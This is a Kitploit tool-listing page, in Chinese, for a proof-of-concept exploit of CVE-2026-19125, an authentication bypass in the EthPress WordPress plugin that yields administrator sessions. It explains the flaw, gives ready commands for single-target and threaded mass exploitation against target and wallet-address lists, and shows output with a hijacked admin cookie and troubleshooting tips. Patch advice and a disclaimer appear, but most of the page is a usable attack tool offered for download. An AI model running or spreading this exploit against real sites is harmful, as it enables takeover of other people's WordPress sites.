Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
By-Poloss..-..CVE-2026-19125 — 已验证的概念验证利用 EthPress <= 2.3.5 的未认证身份验证绕过漏洞,通过钱包地址获取 WordPress 管理员会话。 | Kitploit
工具/GitHubGitHub/polosss/by-poloss..-..cve-2026-19125
密码攻击漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试身份验证红队

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
polosss/by-poloss..-..cve-2026-19125

By-Poloss..-..CVE-2026-19125

已验证的概念验证利用 EthPress <= 2.3.5 的未认证身份验证绕过漏洞,通过钱包地址获取 WordPress 管理员会话。

查看仓库
112天前尚未审核

CVE-2026-19125 — EthPress <= 2.3.5 未认证身份验证绕过

针对 EthPress 钱包登录身份验证绕过的可用、已验证的概念验证,基于 X-1 localhost 实验环境开发并验证。

  • 结果: 未认证攻击者仅凭一个公开钱包地址即可获得有效的 WordPress 管理员会话(RAZZ,用户 id 1,roles=['administrator'])。
  • 实验环境: http://localhost:8080 — WordPress + MySQL(Docker,wp_app/wp_db)
  • 实验环境中启用的易受攻击版本: ethpress 2.3.5
  • 对照版本(未安装): ethpress 2.3.6,位于 _plugin-reference/

1. 漏洞简述

app/Login.php::verify_login()(v2.3.5)会检查钱包签名,在检查失败时构建一个 WP_Error —— 然后忘记返回:

root@kitploit:~
51   if ( !$verified ) {
52       $user = new \WP_Error('ethpress', $verify_error);   // dead store, no return
53   }
54   // Log in.                                              // fall-through
55   try {
...
70       $user = $address->log_in();                         // wp_set_auth_cookie()

执行继续进入登录代码块,Address::log_in() 将攻击者提供的钱包地址解析为其所属的 WordPress 用户,然后 wp_set_auth_cookie() 对该用户进行身份验证。响应为 {"success":true,"data":{"message":"Logged in"}}。


2. 运行 PoC

root@kitploit:~
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a

# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET

# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl

参数

requests 是唯一的依赖(pip install requests)。所有以太坊加密功能(Keccak-256、secp256k1、RFC 6979 签名、地址恢复)均仅使用标准库在 poc.py 内部实现。

示例运行(实验环境)

root@kitploit:~
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080    EXPLOITED   authentication cookie accepted by WordPress (full administrator confirmed)
[!]   !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!]   !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...

3. 漏洞利用原理(3 个阶段)

  1. 获取 nonce。 GET /wp-login.php 并读取 ethpressLoginWP.loginNonce。它是为匿名(uid=0)会话铸造的 wp_create_nonce('ethpress_log_in'),因此对攻击者自身的未认证 AJAX 调用有效。
  2. 用攻击者自己的密钥签名任意内容。 签名在密码学上是有效的,但恢复出的是攻击者的地址,与提交的 coinbase 不同。verify2() 返回 [false, error] —— 而 2.3.5 将其丢弃。(完全空的签名同样有效;poc.py 会自动回退到该方式。)
  3. 证明会话。 使用下发的 cookie 访问 /wp-admin/,抓取该会话的 REST nonce,并调用 /wp/v2/users/me?context=edit → 获取真实用户 id、登录名和角色;同时断言对四个仅管理员可访问页面的访问权限。

4. 验证矩阵(全部实际执行,而非断言)

复现其中任何一项:

root@kitploit:~
bash lab-switch-version.sh 2.3.6        # patched  -> exploit fails
bash lab-switch-version.sh 2.3.5        # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh              # tool-free curl transcript
python3 boundary-test.py                # signature-input matrix

5. 所用实验环境搭建

root@kitploit:~
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/   # 200

# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
  wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
  && find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
  && find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root     # version 2.3.5

# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root

wp user meta update 写入的正是插件自身 Address::create() 所写入的存储键(update_user_meta($uid, 'ethpress', $coinbase)),因此前置条件是按合法方式配置的 —— 没有对目标进行任何人为削弱。

用于差异比较的参考版本位于插件目录之外:../_plugin-reference/ethpress/{vulnerable,latest}。

遇到的实验环境陷阱(已记录,现已处理)

在 Apache 持续运行的情况下就地切换插件版本,会使旧的已编译字节码残留在 OPcache 中。PHP 随后会继续执行上一版本的文件;由于 2.3.6 的 freemius/start.php:584 需要 freemius/require.php → includes/class-fs-hook-snapshot.php(该文件仅存在于 2.3.6 中),即使磁盘上是 2.3.5,站点也会返回 HTTP 500。lab-switch-version.sh 现在会在每次切换后重启 wp_app,并等待 /wp-login.php 返回 200。务必确认正在运行的版本,而不仅仅是磁盘上的版本。


退出码

代码含义
0至少有一个目标被 EXPLOITED
1运行正常,没有目标被利用
2用法错误 —— 输入文件缺失/不可读,或未提供钱包地址

-a 是你必须弄对的一件事

-a/--address 必须是已经关联到目标 WordPress 账户的钱包地址 —— 即 wp_usermeta 中 meta_key = 'ethpress' 的那一行。PoC 无法猜测它:该地址不会在任何公开位置暴露。

root@kitploit:~
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a   use THIS value

如果你传入不同的地址,运行结果会是 exploited 0 / 1 —— 但绕过机制本身是有效的,只是该地址解析不到任何用户。PoC 现在会为每次未命中打印明确的“为什么没有成功”代码块以及提示,因此这不再是静默失败。

运行故障排除


6. 交付物索引

root@kitploit:~
CVE-2026-19125/
├── README.md                     this file
├── analysis.md                   root cause, patch, chain, reliability, remediation
├── intel.md                      advisory facts + verification-vs-advisory table
├── poc.py                        the exploit (self-contained crypto, -f -t -o)
├── patch.diff                    app/Login.php  2.3.5 -> 2.3.6
├── boundary-test.py              signature-input boundary harness
├── lab-switch-version.sh         swap lab between 2.3.5 / 2.3.6 (opcache-safe)
├── sink-verify-login.txt         vulnerable source excerpt (verifier + sink)
├── ajax-actions.txt              attack-surface: ethpress AJAX registrations
├── hooks.txt                     hook registrations (Plugin::attach_hooks)
├── results.jsonl                 exploitation record (2.3.5)          <- success
├── results-patched.jsonl         exploitation record (2.3.6 control)  <- blocked
├── results-neg.jsonl             negative control (unlinked address)
└── evidence/
    ├── raw-transcript.txt        raw HTTP: nonce -> bypass -> cookie -> admin proof
    ├── raw-repro.sh              regenerates the above
    ├── boundary-matrix.txt       which signature inputs bypass / 500 / fail
    ├── run-positive.log          PoC run on 2.3.5
    ├── run-patched-236.log       PoC run on 2.3.6
    └── results-registration-open.jsonl   users_can_register=1 branch behaviour

7. 修复建议

将 EthPress 升级到 2.3.6 或更高版本。不存在配置层面的变通方法:该缺陷存在于登录控制流本身。如果无法立即升级,请禁用插件的钱包登录(或禁用该插件),并审计 wp_usermeta 中特权账户上的 ethpress 关联。


8. 免责声明

仅用于隔离 localhost 实验环境中的授权安全研究。请勿对你不拥有或未获得书面许可测试的系统使用。作者:Poloss。

下载工具
参数含义
-f, --file目标 URL 文件(每行一个,# 为注释),用于批量扫描 + 自动利用
-t, --threads并发工作线程数(默认 10)
-o, --output输出/日志路径,JSON Lines(默认 cve-2026-19125-results.jsonl)
-u, --url单个目标 URL(可重复)
-a, --address与某个 WordPress 账户关联的受害者钱包地址
-af, --address-file候选钱包地址文件
-k, --private-key攻击者私钥十六进制(默认:每次攻击生成新的随机密钥)
--timeoutHTTP 超时秒数(默认 20)
--verify-tls验证 TLS 证书
-q, --quiet抑制每个目标的进度行
测试版本预期实际观察产物
正向利用,已关联的管理员地址2.3.5接管id=1 RAZZ roles=['administrator'],全部 4 项管理员权限results.jsonl、evidence/run-positive.log
阴性对照,未关联地址2.3.5无会话"You have not registered on this site"results-neg.jsonl
已修补对照,两种原语2.3.6拒绝"Failed to verify signature. The address ... extracted ..."results-patched.jsonl、evidence/run-patched-236.log
原始 curl 复现,无工具2.3.5`Set-Cookie: ...=RAZZ...`已确认
签名输入边界矩阵2.3.5混合2 种确定性原语;随机数据块约 50/50 或 HTTP 500evidence/boundary-matrix.txt
users_can_register=1,未关联地址2.3.5新订阅者会话创建用户 0xAAAA...,角色为 subscriber,已登录(随后移除)evidence/results-registration-open.jsonl
症状含义修复
failed ... "You have not registered on this site; we cannot log you in"提供的地址未关联到任何账户传入 wp user meta get <id> ethpress 得到的地址
failed ... "Failed to verify signature. The address ... extracted for address ..."目标已修补(>= 2.3.6)预期的对照行为;通过 lab-switch-version.sh 重新安装 2.3.5
not_vulnerable ... wp-login.php returned HTTP ...EthPress 不存在、登录方式被禁用,或站点宕机检查 wp plugin list 以及 /wp-login.php 是否返回 200
unreachable ... ConnectionError无法通过 HTTP 访问检查主机/端口
cookie_issued_not_acceptedcookie 已下发但被拒绝nonce 已过期(有效期 5 分钟)—— 重新运行
AJAX 调用返回 HTTP 500,无 cookie不可恢复的签名导致内置加密库抛出异常PoC 通过使用确定性原语避免此问题
磁盘上是 2.3.5 但 wp-login.php 返回 500版本切换后 OPcache 陈旧docker restart wp_app(由 lab-switch-version.sh 处理)